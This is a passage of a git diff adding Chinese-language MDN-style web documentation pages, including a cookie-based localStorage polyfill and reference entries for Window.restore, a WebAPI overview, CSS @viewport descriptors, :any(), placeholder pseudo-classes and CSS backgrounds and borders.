+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length > 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+
+ +
注意:数据的最大大小是通过cookies来严格限制的。可以使用这样的算法实现,使用localStorage.setItem()localStorage.removeItem()这两个函数进行添加、改变或删除一个键。使用方法为localStorage.yourKey = yourValue;和delete localStorage.yourKey;进行设置和删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
+ +
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值访问权限限定在当前浏览上下文。
+ +

下面是另一个,并不那么严谨的localStorage对象的实现。相比上一个方法,它更简单且能与旧的浏览器良好兼容,如Internet Explorer < 8 (甚至能在 Internet Explorer 6 上正常工作)。它同样是使用cookies来实现的。

+ +
if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+
+ +
注意:数据量的最大值是通过cookies来严格限制的。可以使用localStorage.getItem()localStorage.setItem()localStorage.removeItem()等方法获取、设置或删除一个键。使用方法localStorage.yourKey = yourValue;获取、添加、改变或者删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
+ +
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值限定在当前浏览环境上下文。
+ +

与globalStorage的兼容性及关系

+ +

localStorage 和 globalStorage[location.hostname] 是一样的, 除了作用域是在 HTML5 origin (结构 + 主机名 + 非标准的端口), 并且 localStorage 是一个 Storage 实例 ,而globalStorage[location.hostname] 是一个 StorageObsolete 实例,下面将要讨论这个。 例如, http://example.com 无法访问与 https://example.com 相同的 localStorage 对象 ,但是它们可以访问同一个 globalStoragelocalStorage 是标准的接口,globalStorage 不是, 所以不要依赖于 globalStorage 。   

+ +

请注意,给globalStorage[location.hostname]设置一个属性并不会影响到localStorage。拓展Storage.prototype也不会影响globalStorage对象,只有拓展StorageObsolete.prototype才会影响。

+ +

存储格式

+ +

Storage的键和值都是以每个字符占2个字节的UTF-16字符串(DOMString)格式存储的。

diff --git a/files/zh-cn/conflicting/web/api/window/moveto/index.html b/files/zh-cn/conflicting/web/api/window/moveto/index.html new file mode 100644 index 0000000000..140827ddb9 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/window/moveto/index.html @@ -0,0 +1,17 @@ +--- +title: Window.restore() +slug: Web/API/Window/restore +translation_of: Web/API/Window/moveTo +translation_of_original: Web/API/Window/restore +--- +

{{APIRef}}

+ +

这个方法现在已经失效,不过可以使用下面的方法代替:

+ +

{{domxref("window.moveTo")}}({{domxref("window.screenX")}}, {{domxref("window.screenY")}});

+ +

Browser Compatibility

+ + + +

{{Compat("api.Window.restore")}}

diff --git a/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html new file mode 100644 index 0000000000..4db001830f --- /dev/null +++ b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html @@ -0,0 +1,120 @@ +--- +title: WebAPI +slug: WebAPI +translation_of: Web/API +translation_of_original: WebAPI +--- +

WebAPI指一组设备兼容套件和访问接口,它允许Web应用及其内容访问设备硬件(比如电池状态或设备振动器),同时也可以获取设备上的数据(比如日历或联系人等信息)。通过这些API,我们希望对Web应用进行扩展,实现过去只有专有平台才可以实现的功能。

+ +
+

注意: 可以从packaged apps获取每一个标记的简要说明。

+
+ +
+
+

通信接口

+ +
+
网络信息接口(Network Information API)
+
提供当前网络连接的基本信息,如网速。
+
+ +
+
蓝牙(Bluetooth)
+
提供了对设备蓝牙的底层访问。
+
移动连接接口(Mobile Connection API){{NonStandardBadge}}
+
提供设备的无线连接信息,如信号强度、操作者信息等。
+
网络状态接口(Network Stats API){{NonStandardBadge}}
+
监控数据使用并将这些信息提供给授权应用。
+
电话(Telephony) {{NonStandardBadge}}
+
允许应用处理和回应呼叫和使用内建的电话页面。
+
短信(WebSMS){{NonStandardBadge}}
+
允许应用发送和接收短信,也能访问和管理存储在设备上的短信。
+
无线连接信息接口(WiFi Information API){{NonStandardBadge}}
+
提供信号强度、当前连接网络的名称及可用的WIFI网络等信息。
+
+ +

硬件访问接口

+ +
+
环境光传感器接口(Ambient Light Sensor API)
+
提供对环境光传感器的访问,使应用可以分辨设备周围环境光的等级。
+
电池状态接口(Battery Status API
+
提供设备的电量信息,和设备是否在充电的信息。
+
相机接口(Camera API{{NonStandardBadge}}
+
允许应用使用内置摄像头拍摄照片、录制视频。
+
地理位置接口(Geolocation API
+
提供设备的物理位置信息。
+
指针锁定接口(Pointer Lock API)
+
使应用锁定鼠标位置,并且获取鼠标的移动而不是绝对坐标,常用于游戏中。
+
电量管理接口(Power Management API){{NonStandardBadge}}
+
使应用可以点亮或关闭屏幕、CPU、设备供电等,也提供了对资源锁定事件的侦听和检查。
+
附近接口(Proximity API)
+
允许查看设备附近的物体,比如用户的面部。
+
设备朝向接口(Device Orientation API)
+
当设备的朝向改变(横向或纵向)时提供通知。
+
屏幕朝向接口(Screen Orientation API)
+
当屏幕的朝向改变时提供通知。也可以用来指定朝向。
+
振动器接口(Vibration API)
+
允许应用在必要的时候访问设备震动器(比如游戏的触感反馈)。不推荐用于通知类的事件。通知类的事件情使用Alarm API
+
+ +

查看全部...

+
+ +
+

数据管理接口

+ +
+
文件句柄接口(FileHandle API)
+
提供对可写文件的支持。
+
索引数据库(IndexedDB)
+
结构化数据的客户端存储,并实现高效搜索。
+
设置接口(Settings API) {{NonStandardBadge}}
+
允许设备检查、更新存储在设备上的系统设置选项。
+
+ +

其他接口

+ +
+
闹钟接口(Alarm API)
+
允许应用安排通知。也支持在特定时间自动启动应用。
+
应用接口(Apps API){{NonStandardBadge}}
+
开放网络应用接口提供对安装和管理网络应用的支持。也允许网络应用查询付款信息。
+
浏览器接口(Browser API){{NonStandardBadge}}
+
提供完全使用Web技术构建Web浏览器的支持。实质就是,浏览器中的浏览器。
+
+ +
+
闲置接口(Idle API)
+
允许应用在用户未使用设备的时候接收通知。
+
授权接口(Permissions API){{NonStandardBadge}}
+
集中管理应用授权,用于“设置”应用。
+
单纯推送接口(Simple Push API)
+
允许平台发送提醒信息到特定应用。
+
时间/时钟接口(Time/Clock API){{NonStandardBadge}}
+
允许设置当前时间。另外,需要使用Settings API来设置时区。
+
网络活动(Web Activities){{NonStandardBadge}}
+
允许应用将一项任务委托给另外的应用。比如一个应用可以请求另外的应用来选择或创建照片。通常情况下,应当允许用户选择被委托的应用。
+
+ +

WebAPI社区

+ +

如果在这些接口的使用上需要帮助,这里有几种联系其他开发者的方式:

+ +
    +
  • 在论坛资讯:{{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
  • +
  • 访问WebAPI IRC频道:#webapi
  • +
+ +

注意网络礼仪...

+ + + + +
+
diff --git a/files/zh-cn/conflicting/web/css/@viewport/index.html b/files/zh-cn/conflicting/web/css/@viewport/index.html new file mode 100644 index 0000000000..92d33a292c --- /dev/null +++ b/files/zh-cn/conflicting/web/css/@viewport/index.html @@ -0,0 +1,80 @@ +--- +title: height +slug: Web/CSS/@viewport/height +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/height +--- +
{{CSSRef}}
+ +
height CSS 属性是同时设置可视区 {{cssxref("@viewport/min-height", "min-height")}} and {{cssxref("@viewport/max-height", "max-height")}} 的简写。当你设置一个值的时候,最小高度(minimum height)和最大高度(maximum height)会被同时设置。
+ +

如果提供两个值,第一个值会被设置为最小高度,第二个值将会被设置为最大高度。

+ +

语法

+ +
/* One value */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* Two values */
+height: 320px 200px;
+
+ +

合法值

+ +
+
auto
+
真实生效的高度值将根据其他 CSS 属性计算得出。
+
<length>
+
一个非负的绝对或相对值。
+
<percentage>
+
一个相对于缩放因子是 1.0 的初始可视区宽高的百分比值,水平和垂直方向的长度分别计算。不能是负值。
+
+ +

正式定义

+ +

{{cssinfo}}

+ +

正式语法

+ +
{{csssyntax}}
+ +

示例

+ +

设置最小和最大高度

+ +
@viewport {
+  height: 500px;
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("css.at-rules.viewport.height")}}

+ +

同时查看

+ + diff --git a/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html new file mode 100644 index 0000000000..11519cee6e --- /dev/null +++ b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html @@ -0,0 +1,110 @@ +--- +title: orientation +slug: Web/CSS/@viewport/orientation +tags: + - CSS + - CSS Description +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/orientation +--- +
{{CSSRef}}
+ +

摘要

+ +

此 orientation CSS 描述符控制由{{cssxref("@viewport")}}定义文档的方向。

+ +

通过设备的倾斜摆动情况来决定文档显示的方向,作者可以通过设置这个描述符来抑制方向的变化{{cssinfo}}

+ +

语法

+ +
/* Keyword values */
+orientation: auto;
+orientation: portrait;/*锁定为纵向*/
+orientation: landscape;/* 锁定为横向*/
+
+ +

取值

+ +
+
auto
+
用户代理将文档的方向设置为自动,通常基于设备的定位由加速度传感器 (如果设备具有这种硬件传感器),但是用户控制,OS 级别的"锁方向"往往会优先于加速度传感器的设置。
+
portrait
+
文档被锁定为纵向。
+
landscape
+
文档被锁定为横向。
+
+ +

标准语法

+ +
{{csssyntax}}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范标准注释
{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatNo}}10 {{property_prefix("-ms")}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}8 {{property_prefix("-o")}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html new file mode 100644 index 0000000000..2716ef1d6f --- /dev/null +++ b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html @@ -0,0 +1,67 @@ +--- +title: viewport-fit +slug: Web/CSS/@viewport/viewport-fit +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/viewport-fit +--- +
{{CSSRef}} {{Draft}} {{SeeCompatTable}}
+ +

viewport-fit CSS {{CSSxRef("@viewport")}}  {{Glossary("Descriptor (CSS)", "descriptor")}} 是为了控制文档是如何填充满屏幕的。

+ +

语法

+ +
/* 关键值*/
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+
+ +

属性值

+ +
+
auto
+
此值不影响初始布局视图端口,并且整个web页面都是可查看的。
+
contain
+
视图端口按比例缩放,以适合显示内嵌的最大矩形。
+
cover
+
视图端口被缩放以填充设备显示。强烈建议使用 safe area inset 变量,以确保重要内容不会出现在显示之外。
+
+ +

形式语法

+ +
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
+ +

注意

+ +

在使用 viewport-fit 描述符时,必须记住并不是所有的设备显示都是矩形的,因此应该使用safe area inset 变量

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("css.at-rules.viewport.viewport-fit")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html new file mode 100644 index 0000000000..ed5c585a7e --- /dev/null +++ b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html @@ -0,0 +1,133 @@ +--- +title: width +slug: Web/CSS/@viewport/width +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/width +--- +
{{CSSRef}}
+ +

The width CSS descriptor is shorthand for setting both the min-width and the max-width descriptors of the viewport. By providing one viewport length value, that value will determine both the min-width and the max-width to the value provided.

+ +

If two viewport values are provided the first value will be set to the min-width and the second value will be set max-width.

+ +

Syntax

+ +
/* An example with one viewport value: */
+@viewport {
+    width: 320px;
+}
+
+/* An example with two viewport values: */
+@viewport {
+    width: 320px, 120px;
+}
+
+
+ + + +

Values

+ +
+
auto
+
The used value is calculated from the other CSS descriptors' values.
+
<length>
+
A non-negative absolute or relative length.
+
<percentage>
+
A percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. Must be non-negative.
+
+ +

Formal syntax

+ +
auto | <length> | <percentage>
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support29 (behind a flag){{CompatNo}}10 {{property_prefix("-ms")}}11.10
+ Removed in 15
+ Reintroduced behind a flag in 16
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support + + + + + + +
4.4
+
+ + + + + + +
29
+
{{CompatNo}}10{{property_prefix("-ms")}}11.10
+ Removed in 15
+ Reintroduced behind a flag in 16
{{CompatNo}}
+
diff --git a/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html new file mode 100644 index 0000000000..894e8a6c73 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html @@ -0,0 +1,69 @@ +--- +title: zoom +slug: Web/CSS/@viewport/zoom +tags: + - CSS + - CSS Descriptor +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/zoom +--- +
{{ CSSRef }}
+ +

zoom CSS 属性会根据 {{cssxref("@viewport")}} 来初始化一个缩放因数。

+ +

当设置1.0 或 100%时表示不缩放。更大的值放大,更小的值缩小。

+ +

{{cssinfo}}

+ +

语法

+ +
/* Keyword value */
+zoom: auto;
+
+/* <number> values */
+zoom: 0.8;
+zoom: 2.0;
+
+/* <percentage> values */
+zoom: 150%;
+
+ +

+ +
+
auto
+
根据`viewport`来既定当前标签的缩放。
+
<number>
+
必须是一个非负数。1表示没有缩放,大于1表示放大的倍数,小于1亦然。
+
<percentage>
+
必须是一个非负的百分比。以100%为基础进行缩放。
+
+ +

形式语法

+ +
{{csssyntax}}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}Initial specification
+ +

浏览器兼容

+ + + +

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/zh-cn/conflicting/web/css/_colon_is/index.html b/files/zh-cn/conflicting/web/css/_colon_is/index.html new file mode 100644 index 0000000000..e9f8527a79 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/_colon_is/index.html @@ -0,0 +1,190 @@ +--- +title: ':any' +slug: 'Web/CSS/:any' +tags: + - CSS + - 伪类选择器 + - 实验性 +translation_of: 'Web/CSS/:is' +translation_of_original: 'Web/CSS/:any' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

概要

+ +

The :any() pseudo-class lets you quickly construct sets of similar selectors by establishing groups from which any of the included items will match. This is an alternative to having to repeat the entire selector for the one item that varies.

+ +

译文:any()伪类可以让您快速构建类似的选择器集合,通过建立包含所有包含项的组来匹配。这是另一种选择,它必须重复整个选择器,因为其中一个项目是不同的。

+ +
Note : This pseudo-class is in progress to be standardized in CSS Selectors Level 4 under the name :matches(). It is likely that the syntax and name of :-vendor-any() will be changed to reflect it in the near future.
+ +
注意:这个伪类正在CSS选择器第4级按照名称:matches()进行标准化。很可能的语法和名称:- vendor-any()将在不久的将来被更改以反映它。
+ +

语法

+ +
{{csssyntax}}
+ +

+ +
+
selector
+
选择器。这可以是由 CSS 3 简单选择器 组成的简单选择器或多重选择器,并且可以包含后代组合器。
+
+ +
注意:选择器可以包含伪元素,并且仅允许的组合器是后代组合器。
+ +

例子

+ +

举个例子,如以下 CSS:

+ +
/* 3 deep (or more) unordered lists use a square */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+
+ +

可以写成这样:

+ +
/* 3 deep (or more) unordered lists use a square */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}
+ +

但是,不能写成这样(详见the section on performance):

+ +
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}
+ +

Notes

+ +

译文: 这个伪类选择器会在处理 HTML5 的 sections and headings 中尤其有用。因为 {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, 和 {{HTMLElement("nav")}} 可以被嵌套,如果不使用  :any() ,为了去匹配这些标签来给予样式会变得困难。

+ +

举个例子,当不使用 :any() ,给予不同的 DOM  结点层次深度下的所有的 {{HTMLElement("h1")}}  的元素样式时,将会变得特别的复杂。

+ +
/* Level 0 */
+h1 {
+  font-size: 30px;
+}
+/* Level 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Level 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Level 3 */
+/* ... don't even think about it*/
+
+ +

然而,通过使用  :any() ,这将变得很简单:

+ +
/* Level 0 */
+h1 {
+  font-size: 30px;
+}
+/* Level 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Level 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Level 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+ +

性能与特异性问题

+ +

Bug 561154 追踪了一个关于 Gecko 作为内核的浏览器在使用 :-moz-any() 不正确的问题。在最新的浏览器(从 Firefox 12) 实现 :-moz-any() 有一个通用的规则,在使用这个伪类选择器时,当使用它作为最右边的选择器会比使用 ID, Class, 标签选择器作为最右边的选择器要来的慢。

+ +

例如:

+ +
.a > :-moz-any(.b, .c)
+
+ +

会比下面的表达式慢

+ +
.a > .b, .a > .c
+
+ +

而下面的表达式将会是最快的

+ +
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}12.0 (534.30){{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}5
+ {{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}5
+ {{property_prefix("-webkit")}}
+
diff --git a/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html new file mode 100644 index 0000000000..f7493e4757 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html @@ -0,0 +1,67 @@ +--- +title: ':-moz-placeholder' +slug: 'Web/CSS/:-moz-placeholder' +tags: + - CSS + - CSS Pseudo-class + - CSS Reference + - Non-standard +translation_of: 'Web/CSS/:placeholder-shown' +translation_of_original: 'Web/CSS/:-moz-placeholder' +--- +

 

+ +
提示: 在Firefox 19+版本中 :-moz-placeholder 伪类将被 {{ cssxref('::-moz-placeholder') }} 伪元素所替代.
+ +
Note: The CSSWG have decided to introduce :placeholder-shown. This functionality will be reintroduced in Gecko at some point in the future, unprefixed and under the new name.  {{bug(1069012)}}
+ +

{{ CSSRef() }}{{Non-standard_header}}{{ gecko_minversion_header("2.0") }}

+ +

摘要

+ +

 :-moz-placeholder伪类控制元素所显示的文字占位符文字占位符. 它允许开发者/设计师改变文字占位符样式. 默认的文字占位符颜色为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

+ +

示例

+ +

这个示例将文字占位符改变为了绿色.

+ +
<!doctype html>
+<html>
+<head>
+  <title>Placeholder demo</title>
+  <style type="text/css">
+    input:-moz-placeholder {
+      color: green;
+    }
+  </style>
+</head>
+<body>
+  <input id="test" placeholder="Placeholder text!">
+</body>
+</html>
+
+ +

查看这个示例.

+ +

溢出

+ +

在手机等设备上搜索框和表单字段经常会缩的很短,有时输入框并不能完全显示文字占位符,那么它便会被生硬的"切断".为了防止出现这种难看的效果,可以使用CSS text-overflow: ellipsis; 来省略一中间部分文字.

+ +
input[placeholder] { text-overflow: ellipsis; }
+::-moz-placeholder { text-overflow: ellipsis; } /* firefox 19+ */
+input:-moz-placeholder { text-overflow: ellipsis; }
+
+ +

It was David Walsh, the man on fire who introduced this to a lot of designers. Placeholders and Overflow.

+ +

Bugzilla

+ +

{{ Bug(457801) }}

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html new file mode 100644 index 0000000000..3c08f433c8 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html @@ -0,0 +1,99 @@ +--- +title: '::-moz-placeholder' +slug: 'Web/CSS/::-moz-placeholder' +tags: + - CSS + - CSS Pseudo-class + - CSS Reference + - Non-standard +translation_of: 'Web/CSS/::placeholder' +translation_of_original: 'Web/CSS/::-moz-placeholder' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +
提示: {{cssxref('::-moz-placeholder')}} 伪元素在Firefox 19+替代了之前的 :-moz-placeholder 伪类.
+ +
{{gecko_minversion_header("19.0")}}
+ +

摘要

+ +

 ::-moz-placeholder 伪元素控制元素所显示的文字占位符.它允许开发者/设计师改变文字占位符的样式.默认的文字占位符为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

+ +

示例

+ +

HTML 内容

+ +
<input id="test" placeholder="Placeholder text!">
+ +

CSS 内容

+ +
input::-moz-placeholder {
+  color: green;
+}
+ +

{{EmbedLiveSample('%E7%A4%BA%E4%BE%8B', '100%', 100)}}

+ +

 

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ +

[1] Firefox 对placeholder文本默认应用{{cssxref("opacity")}}:0.54。详见{{Bug("556145")}}。大多数主流浏览器目前不会对placeholder文本伪元素或者伪类应用默认样式。

+ +

Gecko 此前将本属性视为 {{cssxref(":-moz-placeholder")}}。详见 {{Bug("737786")}}.

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html new file mode 100644 index 0000000000..96d540eedd --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html @@ -0,0 +1,155 @@ +--- +title: CSS Background and Borders +slug: Web/CSS/CSS_Background_and_Borders +tags: + - CSS + - CSS Backgrounds and Borders + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +translation_of_original: Web/CSS/CSS_Background_and_Borders +--- +

{{CSSRef}}

+ +

CSS 背景与边框 是 CSS中描述元素背景与边框的组件。边框的实现方式包含直线、图片。盒模型可以具有单个或多个背景、圆角以及阴影。

+ +

参考

+ +

CSS 属性

+ +
+ +
+ +

导航

+ +
+
应用CSS多重背景
+
阐述设置元素背景方法以及背景、元素之间的交互方式
+
缩放背景图片
+
阐述如何通过拉伸、重复使背景图片覆盖或不全部覆盖元素的背景区域,更改背景图片的呈现方式。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
+ +

浏览器支持

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
